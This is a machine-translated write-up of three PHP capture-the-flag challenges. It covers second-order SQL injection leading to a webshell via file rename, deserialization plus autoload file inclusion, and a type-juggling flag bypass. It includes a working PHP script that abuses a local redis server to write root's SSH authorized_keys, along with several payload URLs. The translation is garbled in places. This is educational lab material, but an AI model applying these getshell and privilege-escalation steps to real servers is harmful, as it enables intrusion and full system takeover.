The writeup of several "three white hats" Competitions
Since the advent of the three white hats, I have received a few small competitions based on "Three white hats" and I have also made several questions. Writeup is not all a common problem. Here I will summarize the ideas for solving several questions. The source code and environment of these questions are in the three white hat markets. After obtaining the three white hat invitation codes, you can purchase and start them in the market.
0x00 secondary injection + file name modification causes getshell
This is one of the questions that appeared in the XDCTF2015 offline finals. I transplanted them to three white hats. Evaluate the knowledge of code auditing and the use of secondary injection.
Entry: Secondary Injection Vulnerability
The entry point of this question is secondary injection.
In common. inc. php, we can see that the global escape is performed, so that the conventional injection is much less. You can view the code in a different way. The input field does not have any special circumstances such as reverse definition, decompress, or numeric type. You can basically determine that there is no direct injection vulnerability. See the upload code upload. php:
$name = basename($file["name"]);$path_parts = pathinfo($name); if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) { exit("error extension");}$path_parts["extension"] = "." . $path_parts["extension"]; $name = $path_parts["filename"] . $path_parts["extension"];$path_parts["filename"] = $db->quote($path_parts["filename"]); $fetch = $db->query("select * from `file` where`filename`={$path_parts['filename']}and `extension`={$path_parts['extension']}");if($fetch && $fetch->fetchAll()) { exit("file is exists");} if(move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) { $re = $db->exec("insert into `file` ( `filename`, `view`, `extension`) values ( {$path_parts['filename']}, 0, '{$path_parts['extension']}')"); if(!$re) { print_r($db->errorInfo()); exit; }
It can be seen that the process for uploading file names is as follows:
$ File ['name']-> pathinfo ()-> $ path_parts ["filename"]-> quote ()-> insert
Because the quote method of pdo is escaped, no injection exists here.
Then we can see rename. php
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");if ($result) { $result = $result->fetch();} if(!$result) { exit("old file doesn't exists!");} else { $req['newname'] = basename($req['newname']); $re = $db->exec("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
Query an existing row from the database based on $ req ['filename'] and call the update statement to modify the row.
However, here oldname = '{$ result ['filename']}' will be retrieved from the database $ result ['filename'] Again, resulting in a second injection.
Getshell using secondary operations
So what is the use of injection?
This should be the first question that people think of when they get their questions. This question is obviously related to getshell. The source code contains functions such as file upload, file rename, and file deletion.
Let's analyze them one by one.
First, upload. php uploads files, but it can be seen that the file is verified by the White List at the upload:
if(!in_array($path_parts["extension"], ["gif", "jpg", "png", "zip", "txt"])) { exit("error extension");}
As a result, we cannot upload malicious files.
The second is delete. php. This file is actually a smoke bullet, and the delete operation cannot be used.
The second is rename. php, which is obviously the key to getshell.
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");if ($result) { $result = $result->fetch();} if(!$result) { exit("old file doesn't exists!");} else { $req['newname'] = basename($req['newname']); $re = $db->exec("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}"); if(!$re) { print_r($db->errorInfo()); exit; } $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"]; $newname = UPLOAD_DIR . $req["newname"] . $result["extension"]; if(file_exists($oldname)) { rename($oldname, $newname); }
The most important is the next five rows.
Oldname and newname have the following features:
The file names of $ result ['extension'] oldname are from the database, and the newname file names are from the user input.
First, the suffix is the same, which makes getshell difficult to complete. If you want getshell, you must rename the files with the suffix "not. php" to ". php. How can I rename a file with the same suffix?
Unless the suffix is blank!
Therefore, our update injection comes in handy. Through update injection, we can change the value of the extension field in the database to null, and also control the value of filename, which means that I can control the values of the two parameters of the rename function, in this way, getshell is very close.
However, there is still a pitfall. When I change the name here, I checked whether the file exists: if (file_exists ($ oldname ))
Although I modified the filename value through injection, the file name uploaded under my upload directory is not changed.
Because I used injection to change extension to null, the filename in the database is actually one suffix less than the actual file name in the file system.
In this case, file_exists cannot be verified. What should I do?
Simple: Upload a new file again. The file name is equal to the value of filename in the database.
Therefore, the entire getshell process is actually a second injection + second operation getshell.
Operations
1. Select File Upload
2. Injection caused by rename:
3.The uploaded file x.jpg contains a webshellfile.
4. Rename getshell:
5. Successful
Code execution caused by 0x01 deserialization + auto_register
This article describes the security problems caused by PHP deserialization and auto_register.
Find source code
Target http://24caf446e2bb0e659.jie.sangebaimao.com/
First, scan to find that the file contains the. git directory, but access/. git/index to find that the file does not exist and may be damaged.
With lijiejie tool can not restore, but with some tools can still do, see my previous article: http://www.bkjia.com/Article/201510/444701.html
I will not go into details again. Use a tool to directly restore the source code:
Getshell
First, read the source code and find several features:
You can upload any file with a blacklist check suffix. The file name is a random string. the md5 value is stored in the cookie and restored and displayed through the php deserialization function.
In fact, the site is interesting.
We can see that the common. inc. php contains the spl_autoload_register function, which is used in the Automatic Registration class and is commonly used in today's new frameworks (laravel and composer.
This function has a special feature. If you do not specify a function for processing, it automatically contains the class name. php "or" class name. inc.
This is interesting. Our previous blacklist does not include the ". inc" file, so we can perform getshell as follows:
1. Upload webshell with the suffix ". inc" and rename it xxxx. inc.
2. serialize a class object named xxxx
3. Send serialized strings as cookies to the server
4. After the server deserializes this string, the xxxx class will be automatically loaded. Due to the method previously registered by the spl_autoload_register function, xxxx. inc will be automatically loaded, resulting in a File Inclusion Vulnerability. getshell is successful.
Get the first flag in the flag-1.php of the website root directory.
Privilege Escalation using local redis
After obtaining webshell, you can view some sensitive information about the server.
For example, we can see in phpinfo that redis is used for session processing, and redis port and password are exposed in save_path:
Therefore, you can use redis, which is quite popular during this time, to Write Public Key Files for Elevation of Privilege.
Write a redis. php file directly, use php to connect to redis, and execute the POC for redis to write the public key:
<?php $redis = new Redis(); $redis->connect('127.0.0.1', 21821); $redis->auth("Tat141uIyX8NKU"); $redis->flushall(); $redis->config("SET", "dir", "/root/.ssh/"); $redis->config("SET", "dbfilename", "authorized_keys"); $redis->set("0", "\n\n\nssh-rsa key_pub\n\n\n"); $redis->save();
Connect to the ssh port and directly obtain the root permission.
Read/root/flag-2.txt to get the second flag.
0x02 PHP type and logic + fuzz and source code Audit
This topic examines the characteristics of PHP types and variables, as well as the contestant's solutions to a problem that is not understood (fuzz or read the source code ).
The source code is as follows:
<?phpif(isset($_GET['source'])){ highlight_file(__FILE__); exit;}include_once("flag.php"); /* shougong check if the $number is a palindrome number(hui wen shu) */function is_palindrome_number($number) { $number = strval($number); $i = 0; $j = strlen($number) - 1; while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true;}ini_set("display_error", false);error_reporting(0);$info = "";$req = [];foreach([$_GET, $_POST] as $global_var) { foreach($global_var as $key => $value) { $value = trim($value); is_string($value) && is_numeric($value) && $req[$key] = addslashes($value); }} $n1 = intval($req["number"]);$n2 = intval(strrev($req["number"]));if($n1 && $n2) { if ($req["number"] != intval($req["number"])) { $info = "number must be integer!"; } elseif ($req["number"][0] == "+" || $req["number"][0] == "-") { $info = "no symbol"; } elseif ($n1 != $n2) { //first check $info = "no, this is not a palindrome number!"; } else { //second check if(is_palindrome_number($req["number"])) { $info = "nice! {$n1} is a palindrome number!"; } else { if(strpos($req["number"], ".") === false && $n1 < 2147483646) { $info = "find another strange dongxi: " . FLAG2; } else { $info = "find a strange dongxi: " . FLAG; } } }} else { $info = "no number input~";}?>
Before the question was launched, I had some people test it. At that time, we found some solutions.
No such sentence before $ req ["number"]! = Intval ($ req ["number"]), so there are many ways to solve this problem, such as 1x10, 01.1
So I added the above judgment to limit these solutions. Now let's talk about the three solutions.
Bypass with Integer Overflow
This is the simplest method. It uses the integer upper limit of php. Use the writeup written by @ Blue and White (clear structure and good thinking ).
First, let's take a look at the source code. To locate a FLAG, you must meet the following three conditions:
Number = intval (number) = intval (strrev (number) not a palindorme number
It seems that the second condition conflicts with the third condition, but we can use the limitations of the intval function:
Http://php.net/manual/zh/function.intval.php
The maximum value depends on the operating system. The maximum signed integer range of a 32-bit system is-2147483648 to 2147483647. For example, in such a system, intval ('000000') returns 1000000000000. On a 64-bit system, the maximum signed integer value is 9223372036854775807.
As we can see from the above, the intval function still depends on the operating system. Obviously, the testing environment system is 64-bit, so we should choose 9223372036854775807.
However, there is a problem: the number of replies is significantly less than the limit of the 64-bit system, so we want to add a 0;
Final payload: http://f2ed13418097d206c.jie.sangebaimao.com /? Number = 09223372036854775807
Bypassing floating point Precision
This is the solution proposed by @ Yulin ga.
Let me talk about the principle. First, test the following php code on the computer:
It can be seen that after the decimal number is smaller than a certain value (10 ^-16), the size cannot be clearly determined after comparison, which is related to the mechanism of storing floating point numbers in php.
In a computer, it cannot accurately represent a floating point number. For example, the value 1.0 stored in a computer is usually 1.20.0000xxx, which is very close to 1.0.
Therefore, when we execute this if statement, if ($ req ["number"]! = Intval ($ req ["number"]), the right value is converted to an integer and then compared with the left value. The left value is a floating point number (1.000000000000001), so the right value is implicitly converted to a floating point number 1.0.
So is 1.0 and 1.000000000000001 equal?
Because of the features I mentioned earlier, 1.0 is not actually a precise 1.0, so php cannot accurately compare floating point numbers during comparison, therefore, it will "Ignore" a part smaller than the-16 power of 10, and then it will think that the Left value is equal to the right value.
Return to the CTF. With this feature, we construct 1000000000000000.00000000000000010 to bypass the first if statement and obtain the flag.
Function features cause Bypassing
This feature involves a feature of the php "number class" function. What functions? Including is_numeric, intval, and other functions that contain digit judgment and conversion.
Is_numeric is used as an example. Let's first look at his source code:
As shown in the image box, the is_numeric function skips all white spaces before starting judgment. This is a feature.
That is to say, is_numeirc ("\ r \ n \ t 1.2") returns true.
Similarly, intval ("\ r \ n \ t 12") also returns 12 normally.
This is half done. But some people asked again, when I obtained $ req ['number'], I used trim to filter out blank characters?
We can see the source code of trim:
What is the difference between the white space characters filtered here and the white space characters skipped before?
A "\ f" missing, hey.
Therefore, we can introduce \ f (% 0c) in front of the number to bypass the last is_palindrome_number function, and judge the previous number because intval and is_numeric both ignore this character, so it will not be affected.
Last through payload: http://f2ed13418097d206c.jie.sangebaimao.com /? Number = % 0c121 get the second flag: